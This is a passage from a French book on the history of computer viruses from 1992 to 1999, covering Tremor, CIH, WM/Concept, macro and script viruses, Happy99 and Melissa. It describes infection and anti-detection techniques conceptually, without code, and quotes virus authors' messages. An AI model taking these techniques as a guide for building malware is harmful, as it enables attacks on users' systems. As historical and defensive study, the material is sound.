• En octobre 1992, le virus système EXEBug modifie la CMOS1 pour interdirele démarrage sur disquette ;en décembre 1992, Dark Avenger distribue Commander Bomber. Jusqu’àprésent, les virus positionnaient physiquement leur code avant ou après lecode du programme originel (appending ou prepending virus) ; d’autres secontentaient d’écraser leur cible en prenant leur nom (overwriting virus).Commander Bomber insère son code à une position choisie aléatoirement.Avant d’écraser la zone choisie, il la déplace en fin de fichier. Le saut vers soncode se fait depuis le point d’entrée normal après une longue successiond’instructions sans intérêt (junk code) destinée à tromper les anti-virus2 ;au début 1993, BatMan devient le premier virus résidant en mémoire ciblantles fichiers de commandes (.bat, type batch). Il est capable d’infecter d’autresfichiers du même type.

• À la même époque, Tremor devient le premier rétro-virus. Avant d’écrire levirus, son auteur, un allemand au pseudo de Neurobasher prit le temps dedésassembler divers anti-virus. Le virus est en effet capable de désactiver lemodule résident de VSAFE (Central Point Anti-Virus) et de modifier sonemplacement en mémoire si F-PROT était lancé simultanément3.

• Fin 1993, Arj-virus démontre qu’il est possible d’infecter un fichier à l’inté-rieur d’une archive.

• En janvier 1994, Eugène Kaspersky reçoit un virus capable d’infecter lesfichiers objets (.obj) pré-exécutables. Ces fichiers sont les intermédiaires entreles fichiers sources du programmeur et l’exécutable produit par l’éditeur delien (linker)4. Surnommé Shifting Objectives, le virus infecte les fichiers assi-gnés à la création des .com. Selon un principe similaire, des virus s’attaquantdirectement aux fichiers sources des compilateurs C et Pascal sont aussirencontrés à la même époque5.

• En octobre 1994, un virus capable d’infecter le fichier système io.sys (ou sonéquivalent ibmbio.com) est découvert à Moscou. Il s’agit du premier viruss’attaquant aux routines BIOS du DOS. Il est baptisé 3APA3A ; il fautprononcer Zaraza, qui correspond en russe au terme infection. Polymorphiqueet difficile à éradiquer, il se propage via les échanges de disquettes6.

1. CMOS : Sigle de semi-conducteur d’oxyde de métal complémentaire (Complementary MetalOxide Semiconductor). Dans les ordinateurs, les puces de mémoire CMOS sont souvent utiliséespour l’enregistrement en mémoire non volatile des données d’initialisation. 2. VB, 1992a, Commander Bomber, Virus Bulletin, décembre 1992, pp10-11.3. BATES, Jim (1993), Tremor – A Shaky Start for DOS 6 ?, Virus Bulletin, mars 1993, pp 10-11.4. KASPERSKY Eugène (1994), Shifting Objectives, Virus Bulletin, mars 1994, pp11-12.5. KASPERSKY Eugène (1994), Lock up your Source code!, Virus Bulletin, juin 1994, pp 10-11.6. KASPERSKY Eugène (1994), 3APA3A: The IO.SYS Hunter, Virus Bulletin, novembre 1994,pp 9-10.

PAGET_Ch02 Page 62 Lundi, 11. avril 2005 5:25 17

63©

Dun

od –

La

phot

ocop

ie n

on a

utor

isée

est

un

dél

it2.11 1992 – 1995 : Générateurs et sophistication

• En septembre 1995, Rainbow rend tout PC infecté totalement inaccessibledepuis un environnement sain. Il exploite une vulnérabilité du DOS. Grâce àune chaîne hexadécimale particulière positionnée dans la table de partition, ildevient impossible de démarrer la machine depuis une disquette saine. Leprocessus d’abouti pas et la machine reste figée sans atteindre le promptDOS1.

• Avant lui, en 1993, Monkey utilisait une autre technique moins sophistiquée :le démarrage depuis une disquette saine aboutissait, mais le disque dur étaitinvisible. Il fallait l’atteindre en mode physique pour rétablir correctement ladéfinition des disques logiques.

• En juillet 1993, la première WILDList est postée par Joe Wells. Dix cher-cheurs y annoncent les 47 virus qu’ils ont effectivement rencontrés en dehorsde leurs laboratoires ou de leurs zoos. L’expression in-the-wild est née !

2.11.2 Quelques arrestations

L’alerte Michelangelo a motivé les autorités de plusieurs pays. Des recherches sontfaites et quelques auteurs de virus sont facilement identifiés.

En décembre 1992, puis le 27 janvier 1993 des membres du groupe ARCV (Asso-ciation of Really Cruel Viruses) sont arrêtés dans diverses villes de Grande-Bretagne.Ils sont accusés d’être les auteurs de plus de 50 virus2.

C’est initialement pour une affaire en lien avec des fraudes téléphoniques queStephen Kapp, connu pour être le président d’ARCV, est interpellé.

Divers membres du groupe sont connus par leur pseudo :

• Apache Warrior (Stephen Kapp).• Ice-9.• Toxic Crusader.• Slartibartfast.

En mars 1994, Virus Bulletin annonce la découverte d’un nouveau virus enGrande Bretagne3. Dénommé SMEG-Pathogen, il a été découvert in-the-wild. Des-tructeur et hautement polymorphique, il contient divers subterfuges rendant sadétection difficile. Il est signé Black Baron. Le New Scotland Yard arête un suspect àPlymouth ; c’est un chômeur britannique de 26 ans du nom de Christopher Pile. Ilreconnaît les faits, le 26 mai 1995, il est reconnu coupable et condamné à 18 mois deprison4.

1. KAMINSKY Jakub (1995), Rainbow : To Envy or to Hate, Virus Bulletin, septembre 1995,pp 12-13.2. VB, 1992b, The ARCV, Virus Bulletin, novembre 1992, pp 3-4.3. VB, 1994a, Pathogen Virus Warning, Virus Bulletin, mars 1994, p 3.4. VB, 1995, “Black Baron” Pleads Guilty, Virus Bulletin, juin 1995, p 3.

PAGET_Ch02 Page 63 Lundi, 11. avril 2005 5:25 17

64 Chapitre 2. Historique – de l’innocence à la tentation criminelle

2.11.3 Goodtimes & Gt-Spoof

L’une des plus fameuses rumeurs voit également le jour en 1994. Portant le nom deGoodtimes, elle circule sur Internet et annonce qu’un virus se propage par e-mail1.

Du fait de sa persistance, le CIAC (Computer Incident Advisory Capability) émetun avertissement en décembre 1994. Il indique clairement qu’il s’agit d’une légendeurbaine, d’un hoax2.

Au même moment, le 21 décembre, Joël McNamara diffuse de manière limitéeune étude sur la macro DMV3. Il indique que c’est cette rumeur qui l’a décidé àécrire. Il veut démontrer la faisabilité de la propagation d’un virus par e-mail, pourpeu que la messagerie utilisée offre l’ouverture automatique d’un document joint(l’abréviation DMV signifie Document Macro Virus).

Aujourd’hui, la réalité a de loin dépassée la fiction.

En 1995, le code source d’un virus dénommé Good Times sera distribué dans lemagazine VLAD#4 (Virus Labs And Dist). Son auteur, surnommé Qark, cherche àperturber le public. Le virus utilise un générateur polymorphique dénomméRHINCE (Rickety and Hardly Insidious yet New Chaos Engine).

Dans le code source du virus, on retrouve le message : Remember to email all yourfriends, warning them about Good Times.

Pour éviter toute confusion, les sociétés antivirales décideront de le baptiser GT-Spoof4.

2.12 1995 – 1999 – L’ARRIVÉE DES VIRUS INTERPRÈTES

En 1995, Vesselin Bontchev termine sa thèse. Il quitte l’université de Hambourg ouil participait activement aux travaux du Virus Test Center. Il rejoind F-PROT Deve-lopment en Islande.

Aux États Unis, McAfee décide la création du groupe AVERT5. En associant àleur équipe de Santa Clara des chercheurs issus d’autres pays, ils vont, petit à petit,étendre leur capacité de réactivé face à des virus apparaissant aux divers points de laplanète.

1. Hoax : Faux virus et vrais rumeurs :https://www.clusif.asso.fr/fr/production/infovir/hoaxes/g02.asp.2. CIAC, 1994, THE "Good Times" VIRUS IS AN URBAN LEGEND, Document disponible àl’adresse : http://ciac.llnl.gov/ciac/notes/Notes04c.shtml.3. http://www.eskimo.com/~joelm La page en question a aujourd’hui disparu. Sur son site, JoëlMcNamara propose maintenant ses livres. Certains d’entre eux traitent de la sécurité informati-que.4. VB, 1995b, No Good Times Here !, Virus Bulletin, juin 1995, p 3.5. AVERT : Anti-Virus Emergency Response Team.

PAGET_Ch02 Page 64 Lundi, 11. avril 2005 5:25 17

65©

Dun

od –

La

phot

ocop

ie n

on a

utor

isée

est

un

dél

it2.12 1995 – 1999 – L’arrivée des virus interprètes

En octobre 1994, je rejoignais la petite équipe de VIF/ASSURDATA. C’était ellequi, en France, diffusait les produits McAfee. Avec Marius Van Oers (McAfee Hol-lande), nous sommes les deux premiers européens à rejoindre AVERT.

Les virus de macros font leur apparition durant l’été 1995. Comme nous avonsdit précédemment, l’idée n’est pas nouvelle, mais cette mise en circulation contraintles entreprises à réviser leur politique de sécurité. En effet, il leur faut intégrer le faitque les virus ne se propagent plus exclusivement via un programme exécutable maisaussi par le biais de fichiers bureautiques que l’on avait tendance à considérer commede simples fichiers de données.

2.12.1 WM/Concept

Le virus est découvert en août 1995 par Sarah Gordon (Command SoftwareSystems)1. Il n’est pas plus dangereux que les autres mais il utilise un nouveau type detransport : les documents Word. Le virus se présente sous la forme de plusieursmacros créées en Word Basic. L’une d’entre elle s’exécute automatiquement àl’ouverture du document. Une autre permet l’infection de tout nouveau documentsauvegardé. Le virus fonctionne avec Word, aussi bien sous DOS, sous Windows quesous Macintosh (versions 5, 6 & 7).

Jimmy Kuo alors directeur du groupe AVERT de McAfee propose le nom deConcept.

La rumeur prétend que le virus a été diffusé accidentellement par Microsoft2. Lenom d’alias Prank (escapade en anglais) aurait d’ailleurs été choisi par cette sociétéafin d’espérer diminuer l’importance de l’affaire. C’est dans un document de typeFAQ3, écrit par Richard John Martin, que l’on trouve l’information la plusdétaillée4.

Dans l’urgence, et alors que d’autres macro-virus apparaissent, Microsoft livre uncorrectif nommé ScanProt. L’intention originelle était la protection contre Con-cept.A et la mise à disposition d’un mécanisme d’alerte pour les utilisateurs ouvrantun document contenant des macros.

Bien involontairement, les diverses versions de ScanProt participèrent à la propa-gation des virus en véhiculant certains d’entre eux. Le compagnonnage entre un virusexistant et ScanProt aboutit même par la création de variantes.

Les concepteurs de produits anti-virus ne recommandèrent pas la solutionScanProt. Ils modifièrent leurs produits en y intégrant des solutions applicables à toutnouveau virus écrit en Word Basic.

1. GORDON Sarah, (1995b), What a (Winword) Concept, Virus Bulletin, septembre 1995, pp 8-9.2. VB, 1995a, Winword.Concept, Virus Bulletin, octobre 1995, p 3.3. FAQ : Frequently Asked Question. 4. MARTIN, Richard John (1996), MS WORD 6.x MACRO VIRUSES FAQ V2.0 for theALT.COMP.VIRUS Newsgroup. Document disponible à l’adresse : http://www.textfiles.com/virus/wordmacro.txt.

PAGET_Ch02 Page 65 Lundi, 11. avril 2005 5:25 17

66 Chapitre 2. Historique – de l’innocence à la tentation criminelle

Figure 2.1 — L’origine supposée de Winword.Concept

2.12.2 W95/Boza & Linux/Staog by Quantum

Sous le pseudo de Quantum se cache l’auteur du premier virus ciblant Windows 95.Étant le premier à infecter les fichiers PE1, il atteint une certaine notoriété dèsfévrier 1996. W95/Boza2 est pourtant un virus très simple et non-résident enmémoire.

Le 31 de chaque mois, il affiche une boite de dialogue reprenant la liste des mem-bres du groupe auquel l’auteur appartient (Metabolis, Qark, Darkman, Automag,Antigen, RhinceWind, Quantum, Absolute Overlord & CoKe).

Outre ce message, le virus contient le texte :

Please note : the name of this virus is [Bizatch] written by Quantum of VLAD.

La communauté antivirale lui préfèrera le nom de Boza.

Also known by the Aliases of WW6Macro, WinWord.Concept, Word Basic MacroVirus (WBMV), Word Macro 9508 <MAC> and Prank Macro <MicroSoft named itPrank, to downplay the seriousness of the situation>. This was the firstMS Macro Virus to be detected by the Anti-Virus community, and the firstMacro Virus to be considered in the wild, with infections spreading tothe US, UK, France, Germany, Bulgaria, Canada, the Netherlands, Turkey,and Finland, and other Countries.The proliferation of this virus is widespread, mainly due to 2 companiesACCIDENTLY shipping this virus in infected documents found on theirCD-ROMS. The first CD-ROM was… MicroSoft Windows ’95 Software Compatibility Testwhich was shipped to thousands of OEM companies in mid 1995. InAugust/September Microsoft distributed the Concept virus on a CD-ROM inthe UK called… "The Microsoft Office 95 and Windows 95 Business Guide"The infected file is \Office95\Evidence\Helpdesk.DOC, dated August 17th,1995, <121,856 bytes> The third CD was… Snap-On Tools for Windows NT which was distributed byServerWare, who immediately withdrew it, warnedrecipients, and re-mastered it. MicroSoft Corp. is to be commended foracknowledging their part in the spreading of this new virus, <calling ita PRANK> and their effort in controlling the spread of it. They werequick to respond to this new Virus threat with a Macro Scanner/Cleanerwhich is available freely for download from MSN and associated services.<Note: it’s buggy>

1. PE est l’abréviation relative au format des fichiers exécutables 32-bits de Windows (PortableExecutable).2. VB, 1995d, Hot 95 : New Kids on the Block, Virus Bulletin, février 1995, pp 15-16.

PAGET_Ch02 Page 66 Lundi, 11. avril 2005 5:25 17

67©

Dun

od –

La

phot

ocop

ie n

on a

utor

isée

est

un

dél

it2.12 1995 – 1999 – L’arrivée des virus interprètes

Avec toute une série de tutoriaux, le code source du virus fut présenté dans lenuméro 6 de VLAD. Dans le numéro suivant, Quantum présente le premier virusciblant Linux. Il le dénomme Staog et ne fonctionne que sur des machines possédantun noyau 1.2.13.

C’est un virus écrit en assembleur. Résident en mémoire, il infecte les fichiers auformat ELF1 dès qu’ils sont exécutés.

Les premiers virus ciblant le système d’exploitation OS2 voient aussi le jour enjuin 1995 (OS2/DA, OS2first et OS2/DA.Jiskefet). Souvent annoncé comme le pre-mier virus lié à ce système d’exploitation, OS2.AEP n’apparaîtra qu’un an plus tard.

2.12.3 L’invasion des macro-virus

Après la réussite médiatique de Concept, Excel était la prochaine cible. Il fallutattendre juillet 1996, pour voir apparaître XM/Laroux, premier virus de macro opéra-tionnel sous Excel version 5.0 et supérieures2.

Également découvert par Sarah Gordon, il se différentiait de ses cousins par l’uti-lisation du langage VBA (Visual Basic for Application). À cette époque, seuls Excel etAccess étaient dotés de ce langage. Word se limitait encore au Word Basic.

En janvier 1997, Microsoft diffuse Office 97. Word et PowerPoint reçoivent uneextension supportant le VBA. À l’ouverture d’un document Word d’ancienne géné-ration, les macros écrites en Word Basic se convertissent automatiquement au nou-veau format.

En février 1997, l’histoire se répète, Microsoft diffuse à son insu la nouvelle ver-sion de WM/Wazzu.A3. Elle prendra le nom de W97M/Wazzu.A.

Ces 2 souches d’un même virus sont totalement différentes. Les anti-virus quidétectaient sans problème la première ne détectent plus la seconde. Le phénomènese reproduit sans discontinuer avec de nombreux autres virus écrits en Word Basic.Certains concepteurs de produits anti-virus sont tentés de faire eux même le travailde conversion pour tous les virus de leurs collections et une polémique s’installe. Lesuns disent qu’il n’est pas éthique de faire cette mutation car elle s’apparente à lacréation d’un nouveau virus. Les autres argumentent que du fait qu’un de leur clientpeut le faire, ils se doivent de le devancer pour le protéger.

Les premiers virus ciblant Word et directement écrits en VBA5 ne tardent pas àapparaître. L’un d’entre eux s’intitule W97M/NightShade, il ne se propage qu’avecOffice 97 et utilise l’Assistant Office pour annoncer sa présence. Le code viral qui neconsiste qu’en une seule macro est inclus dans un nouveau module reprenant le nomdu virus4.

1. ELF est l’abréviation relative au format des fichiers exécutables du monde UNIX (ExecutableLinkable Format ).2. GORDON Sarah (1996), Excel Yourself !, Virus Bulletin, août 1996, pp 9-10.3. VB, 1997a, The Word of the Day, Virus Bulletin, mars 1997, pp 6-7.4. KILLING Martin (juin 1997), Deadly NightShade, Virus Bulletin, juin 1997, pp 9-10.

PAGET_Ch02 Page 67 Lundi, 11. avril 2005 5:25 17

68 Chapitre 2. Historique – de l’innocence à la tentation criminelle

En juin 1997, une autre technique d’infection voit le jour. W97M/Class n’ajoutepas de module VBA5 ; il positionne son code dans le modulepréexistant : ThisDocument.

2 ans après WM/Concept, le cap des 1000 macro-virus est atteint. Cherchant àcontrer leur propagation, Microsoft sort un correctif. Microsoft Office 97 ServiceRelease 1 (SR-1) neutralise certains processus de propagation virale. En Avril 1998,W97M/Groov devient le premier virus anti-SR-1.

Toute la suite Office de Microsoft est bientôt atteinte dans ses différentes ver-sions. Malgré quelques tentatives, les autres plates-formes telles que Lotus ou Corelne seront jamais une véritable cible. Les auteurs de virus préfèrent s’acharner sur leleader mondial.

Au cours de ces années, la principale surprise vient de France, en janvier 1998.Elle se nomme XF/Paix. C’est un virus qui utilise le langage des formules propre àExcel 4.0. Bien que faiblement documenté, il est toujours présent dans les versions

Tableau 2.1 — Évolution du nombre de macro-virus d’aprèsles diverses Macro Virus List préparées par Vesselin Bontcheva

a. BONTCHEV Vesselin (1996-2001), Macro Virus List. Documents disponibles à l’adresse :ftp://agn-www.informatik.uni-hamburg.de/pub/texts/macro/.

DateNombre de

famillesNombre de virus

Nombre de générateurs

Août 1995 1 1

Juillet 1996 27 35

Décembre 1996 84 205 5

Juillet 1997 253 1193 10

Décembre 1997 317 1826 11

Avril 1998 383 2306 12

Décembre 1998 533 3333 13

Juin 1999 703 4132 17

Septembre 1999 775 4593 17

Mai 2000 946 5664 17

Décembre 2000 1048 6488 55

Juin 2001 1106 6831

Septembre 2001 1134 6855

PAGET_Ch02 Page 68 Lundi, 11. avril 2005 5:25 17

69©

Dun

od –

La

phot

ocop

ie n

on a

utor

isée

est

un

dél

it2.12 1995 – 1999 – L’arrivée des virus interprètes

suivantes d’Excel. Le virus n’utilise pas de macro, mais des formules positionnéesdans les zones de données d’une feuille de calcul qu’il crée et maintient invisible auxutilisateurs. Le virus se manifeste de façon aléatoire : 1 chance sur 100. Il bloquealors la session de travail Excel en affichant une fenêtre intitulée Enfin la Paix…

Entre 1996 et 1998, les virus système disparaissent petit à petit. Alors qu’ilsreprésentaient 80 % environ des alertes virales recensées en 1995, la tendances’inverse en faveur des macro-virus qui, en 1998, constitueront plus de 80 % desalertes.

2.12.4 La naissance de Network Associates Inc.

Alors que les macro-virus sont sur le devant de la scène, McAfee Associates distribueVirusScan depuis plus de 8 ans. Les versions du produit ne cessent d’évoluer.

Un premier bouleversement majeur se produit en juillet 1994, McAfee sort alorsla dernière mise à jour de sa version 1. Il s’agit de la version 9.30V117 de VirusScan.Elle est annoncée détectant 1939 virus. Si l’on comptabilise les variantes, le total devirus détecté s’élève à 2901.

Trois mois avant cette V117, en avril 1994, McAfee VirusScan 2.00 voyait le jour.

Cette nouvelle version apporta son lot de soucis techniques et de nombreux uti-lisateurs regrettèrent un bon moment l’ancien produit.

Tableau 2.2 — Principaux virus rencontrés en France de 1996 à 1998

1996(de janvier à septembre)

1997 1998

JUMPER-B Boot WM/CAP Macro WM/WAZZU.EC Macro

INT-AA Boot WM/NPAD Macro WM/CAP Macro

FORM Boot WM/MDMA Macro WM/WAZZU.DO Macro

ANTIEXE Boot WM/WAZZU Macro WM/INEXIST Macro

PARITY BOOT Boot JUMPER.B Boot W32/HLLP.DETROIE

Fichier

STONED SPIRIT Boot FORM Boot XF/PAIX Formule

ANTICMOS Boot PARITY BOOT Boot JUMPER.B Boot

WM/CONCEPT Macro ANTIEXE Boot FORM Boot

JUNKIE Boot PARITY BOOT Boot

MONKEY Boot

PAGET_Ch02 Page 69 Lundi, 11. avril 2005 5:25 17

70 Chapitre 2. Historique – de l’innocence à la tentation criminelle

La version 3 vint en 1997. Cette même année, en décembre, était scellée la nais-sance de Network Associates1 issue de la fusion des sociétés McAfee Associates etNetwork General. Moins d’un an plus tard, le 9 Juin 1998, NAI procédait à l’acquisi-tion de Dr Solomon Corp. Ce regroupement marqua un tournant incontestable etpermit à VirusScan de devenir l’un des meilleurs produits du marché.

2.12.5 Le retour des virus programme

Deux ans après W95/Boza et parallèlement, à l’invasion des macro-virus, une autretendance se dessine: les virus s’attaquant aux plates-formes Windows sont de plus enplus nombreux. Certains d’entre eux ont, sans aucun doute, demandé des centainesd’heures de recherche, voire un travail d’équipe. Leur diffusion ne se limite malheu-reusement pas à certains sites discrets d’Internet. Des CD-ROMs et des sites légauxpropagent W32/Marburg et W95/CIH. La majorité des diffusions se fait en juillet19982.

Ces nouvelles techniques d’infection représentent aussi un nouveau défi pour lesauteurs de virus. C’est sans doute la principale raison de cette croissance.

L’une des stars de l’époque resta dans les TOP-10 jusqu’en 2003, il s’agit de W95/CIH.

Les initiales du virus sont celles de son auteur (Chen Ing-hau). Le virus est aussiconnu comme le virus Tchernobyl en référence a la date de son déclenchement : le 26avril, date anniversaire de la catastrophe nucléaire.

Le virus apparaît à la mi-juin 98 à Taiwan. Des groupes de pirates et quelques sitescommerciaux sont infectés et comme nous l’avons vu le virus se propage alors via desjeux et des magazines. Plus tard, en mars 1999, des ordinateurs neufs Aptiva, venduspar IBM, colporteront également le virus.

1. Chacun sait que l’histoire est un éternel recommencement. Le 7 juillet 2004, la société repritson nom d’origine pour se concentrer sur le développement de systèmes de prévention d’intrusiontout en continuant à développer et à vendre ses solutions antivirales.2. Virus Bulletin, 1998. Anti-CIH-pating the Future, Août 1998, p2. Marburg Follow-up, Août1998, p3. More-burg, Septembre 1998, p4. CD Coverage, Octobre 1998, p2.

Tableau 2.3 — Accroissement du nombre de virus programme W95/W32 entre 1996 et 1999

1996 1997 1998 1999

8 24 73 160

1999

Q1 Q2 Q3

31 52 77

PAGET_Ch02 Page 70 Lundi, 11. avril 2005 5:25 17

71©

Dun

od –

La

phot

ocop

ie n

on a

utor

isée

est

un

dél

it2.12 1995 – 1999 – L’arrivée des virus interprètes

Même s’il n’infecte que les fichiers .exe de Windows 95 et 98, le virus est particu-lièrement dangereux. Quand il active sa gâchette, en général le 26 avril, il écraseune partie du disque et détériore le contenu de la mémoire flash de certains Pentium.En réécrivant un octet dans le block de démarrage de ceux-ci, les machines devien-nent inutilisables jusqu’à la réinitialisation du BIOS.

La variante la plus courante contient le texte CIH v1.2 Il s’agit de W95/CIH.1003.

Bien d’autres variantes ont ensuite vu le jour ; citons :

• W95/CIH.1010.A et W95/CIH.1010.B qui s’activent le 26 juin et contien-nent le texte CIH v1.3 TTIT.

• W95/CIH.1019 qui s’active le 26 de chaque mois et contient le texte CIHv1.4 TATUNG.

2.12.6 Rabbit : Le lapin !

Avec l’arrivée de Windows 98, un nouveau langage autonome intitulé Visual BasicScripting Edition, VBScript en abrégé, est proposé pour aider à la conception descripts. Permettant entre autre la création de suites de commandes se rapprochantdu traitement par lots du DOS (fichiers .bat), il détrôna rapidement ce dernier.

Dérivé de Visual Basic for Applications (VBA), lui-même issu de Visual Basic, ilétait en fait apparu avec la mise à jour SR2 de Windows 95. Alors qu’il fallait à l’ori-gine en demander l’installation, il se retrouve maintenant mis en place par défautdans les nouvelles versions de Windows.

Puissant, simple d’utilisation et reposant sur du code source en clair ; tout unchacun peut voir et modifier le code des scripts qu’il rencontre.

D’un point de vue viral, le langage est d’abord utilisé comme technique d’appointpar les auteurs de macro-virus. Cet artifice leur permet d’activer de nouvelles fonc-tions malveillantes et de contourner des processus de sécurité tels que ceux intro-duits par Office-97 SR1. Il est ainsi possible d’exécuter des scripts FTP (W97M/Groov) ou d’interagir avec des outils de messagerie (W97M/Coldape.A).

Les premiers virus purement VBScript apparaissent en 1998. Le nom de famille deces nouveaux venus est VBSV. En raison de leurs capacités de propagation hors ducommun, un nom d’alias plus parlant fut donné à l’un d’entre eux : Rabbit (enfrançais : lapin)1.

De 1999 à 2001, leur nombre augmenta parallèlement à la généralisation de cenouveau langage.

1. MUSSTOPF G, (1999), A New Type of Viruses, or Looking Back in Rage at …?, EICAR News,janvier 1999, Volume 6, numéro 1.

PAGET_Ch02 Page 71 Lundi, 11. avril 2005 5:25 17

72 Chapitre 2. Historique – de l’innocence à la tentation criminelle

2.13 1999 – 2000 – L’INVASIONDES « MASS-MAILERS »

Durant cette période, les macro-virus sont toujours d’actualité, ils laissent cependantde plus en plus la place aux virus de script (VBScript et JavaScript) et aux virusprogrammes.

En cette fin de siècle, l’utilisation des disquettes se raréfie ; les échanges informa-tiques par e-mail prennent le relais et les virus s’engouffrent eux aussi dans cettenouvelle voie. Ces nouveaux venus que l’on nommera plus tard mass-mailers vonttout d’abord se propager par l’entremise d’une pièce jointe ; ils sauront vite s’en dis-penser.

2.13.1 Happy 99

Le premier virus mondialement connu qui exploite la messagerie électronique appa-raît en janvier 1999. Il est français et le public le surnomme Happy-99. Son nom offi-ciel est W32/Ska@M. Il arrive en tant que pièce jointe et, une fois installé sur lamachine, s’expédie de lui-même comme un doublon, chaque fois qu’un courrier estémis vers un destinataire. L’animation mise en œuvre lors du double-clic sur la piècejointe infectée représente un feu d’artifice.

Il lui faudra plus de 6 mois pour faire son premier tour du monde.

Un an après sa mise en circulation, W32/Ska@M faisait toujours parti du TOP-10mondial. Son auteur, Spanska, est français. Il en explicite le code dans le numéro 4

Tableau 2.4 — Principaux virus rencontrés en France en 1999 et 2000

1999 2000

W32/SKA@M W95/W32 JS/KAK@M Script

WM/CAP.A Macro VBS/LOVELETTER.A@MM Script

W97M/MARKER.C Macro VBS/STAGES.A@MM Script

W97M/CLASS.D Macro W32/NAVIDAD@M W95/W32

W97M/ETHAN.A Macro W32/SKA@M W95/W32

W32/PRETTYPARK@MM W95/W32 VBS/LOVELETTER.AS@MM Script

W95/CIH.1003 W95/W32 W97M/ETHAN.A Macro

W97M/MELISSA.A@MM Macro W97M/MARKER.C Macro

097M/TRISTATE.C Macro W32/MTX@M W95/W32

W32/EXPLOREZIP.worm@M W95/W32 W32/HYBRIS.B@MM W95/W32

PAGET_Ch02 Page 72 Lundi, 11. avril 2005 5:25 17

73©

Dun

od –

La

phot

ocop

ie n

on a

utor

isée

est

un

dél

it2.13 1999 – 2000 – L’invasion des « MASS-MAILERS »

de la publication électronique du groupe 29A. Dans un texte de plusieurs pages enanglais, il tente également de se justifier. J’en ai retenu, puis traduit, le contenusuivant :

C’est un virus car il infecte wsock32.dll.C’est un ver car il se propage via le courrier électronique et les groupes de discussion.C’est un cheval de Troie car il cache sa vraie nature et exige une certaine participationde la part de l’utilisateur ciblé.J’ai conçu ce code à la suite d’un constat manifeste: de nos jours, les gens échangentplus de courrier électronique via Internet que de programmes ou de disquettes. Si noussouhaitons obtenir le plus grand nombre d’infections dans la nature, nous devons revoirnos techniques actuelles. L’unité minimale d’infection ne s’établie plus au niveau del’exécutable mais au niveau de la machine interconnectée. Il n’est nullement utiled’infecter 500 fichiers sur une même machine. Un seul suffit. Pensez alors à tous lesnouveaux venus sur l’Internet, à tous ceux qui ont acheté un ordinateur pour Noël, etqui ignorent tout de la sécurité. Ces victimes parfaites forment un groupe suffisammentgrand pour espérer une infection massive. J’affirme que les virus utilisant Internetseront les programmes autoreproducteurs de demain. En effet, 1999 fut l’année desvers.Mon virus est conçu pour ne rien détruire sur les machines infectées. Il s’agit juste d’unsympathique autostoppeur qui utilise votre connexion Internet pour voyager. Pour vousremercier du voyage, il vous offre une petite animation. J’ai même pris soin de rendre cever très facile à éliminer par un utilisateur de compétence moyenne n’ayant pas d’anti-virus. Ceci est en contradiction avec les règles générales liées à l’écriture des virus. Pourmoi, Happy est un morceau de code expérimental, qui s’avéra fonctionner étonnam-ment bien, encore mieux que je le pensais.À l’époque ou j’écris ceci, Happy99 a un an d’age. La chose drôle, c’est qu’il continueà se propager, même s’il le fait plus lentement. C’est vraiment fascinant de constaterque toutes ces infections sont issues de 4 ou 5 courriers envoyés à de pauvres victimessoigneusement choisies après avoir étudié, durant une semaine, leur comportementdans les groupes de discussion et de cyberbavardage ou ils étaient régulièrement présents(fondamentalement, leur connaissance informatique était faible, ils étaient curieux,aimaient à échanger des cartes postales électroniques ou des plaisanteries: il était alorstrès facile de les amener à exécuter Happy par le biais d’un social engineering basique).Parfois je souhaiterai connaître le cheminement total de l’infection, comprendrecomment toutes ces ramifications ont démarré et se sont développées, appréhenderchacun des courriers échangés et suivre l’intégralité du parcours qui permit à certainsd’entre eux de me revenir à la fin de leur périple. Il est fascinant pour penser auxvoyages d’Happy tandis que des idées sont échangées par des personnes au travers lemonde. C’est comme un petit morceau de bois dérivant sur le flot des informations etsuivant les routes mises à sa disposition. Vous pouvez rire, mais je trouve ceci trèspoétique.Mais tout cela démontre une autre chose. Les virus n’ont pas besoin d’être trèscomplexes pour être efficaces. Techniquement parlant, Happy99 est très simple. Pas de

PAGET_Ch02 Page 73 Lundi, 11. avril 2005 5:25 17

74 Chapitre 2. Historique – de l’innocence à la tentation criminelle

cryptage, pas de polymorphisme, aucune complexité pour se maintenir résident enmémoire, aucune astuce particulière. Fondamentalement, il s’agit juste d’une dllstupide, implantée dans le système par un dropper pour détourner certaines APIwsock32. C’est tout.

2.13.2 Melissa

En 1997, Dr Solomon’s Software mettait en service un outil de recherche automa-tique de virus intitulé Virus Patrol. Toujours en service, ce robot, analyse en perma-nence les contributions USENET et examine celles qui contiennent du codeexécutable. Le résultat est mis à la disposition de la communauté anti-virale quiintègre ainsi de nombreux nouveaux virus ou chevaux de Troie chaque mois.

C’est ainsi que fut découvert sur un NewsGroup à caractère sexuel, le vendredi 26mars 1999, un fichier list.doc supposé contenir une liste de mots de passe permettantd’atteindre gratuitement des sites pornographiques normalement payants.

Dans une belle unanimité, l’ensemble des professionnels se mit au travail et pro-posa dans les heures qui suivirent des mises à jour pour la détection et pour l’éradica-tion de ce nouveau venu. Profitant de ce répit et utilisant une nouvelle technique depropagation le virus fit rapidement le tour de la planète.

L’alerte passée, tout le monde s’est accordé pour dire n’avoir jamais rencontré jus-que là, un virus se propageant aussi rapidement.

Le virus fut baptisé W97M/Melissa. Il se présentait sous la forme d’un fichier atta-ché se propageant automatiquement via Outlook-98. Le sujet du message était :

Important Message From <nom>

Ou <nom> était le nom complet de l’utilisateur qui était censé en être l’expédi-teur. Le corps du message contenait :

Here is that document you asked for … don’t show anyone else ;-)

À son ouverture, le virus interrogeait la liste des contacts du Carnet d’AdresseGlobal et générait un message qu’il envoyait simultanément aux 50 premières per-sonnes de cette liste.

Plusieurs commentaires intriguèrent les chercheurs, l’un d’eux, inscrit dans lecode, disait :

’WORD/Melissa written by Kwyjibo.’Works in both Word 2000 and Word 97.’Worm? Macro Virus? Word 97 Virus? Word 2000 Virus? You Decide!’Word -> Email | Word 97 <--> Word 2000 … it’s a new age!

Si un fichier infecté était ouvert alors que les minutes de l’heure étaient égales aujour du mois le texte suivant était inséré dans le document courant :

PAGET_Ch02 Page 74 Lundi, 11. avril 2005 5:25 17

75©

Dun

od –

La

phot

ocop

ie n

on a

utor

isée

est

un

dél

it2.13 1999 – 2000 – L’invasion des « MASS-MAILERS »

“Twenty-two points, plus triple-word-score, plus fifty points for using all my letters.Game’s over. I’m outta here. »

On découvrit vite que les noms Kwyjibo et Outa étaient ceux de personnages dela série TV : Les Simpsons.

Une fois démasqué, l’auteur présumé indiqua que le nom du virus lui avait étéinspiré par une strip-teaseuse de Floride qu’il admirait

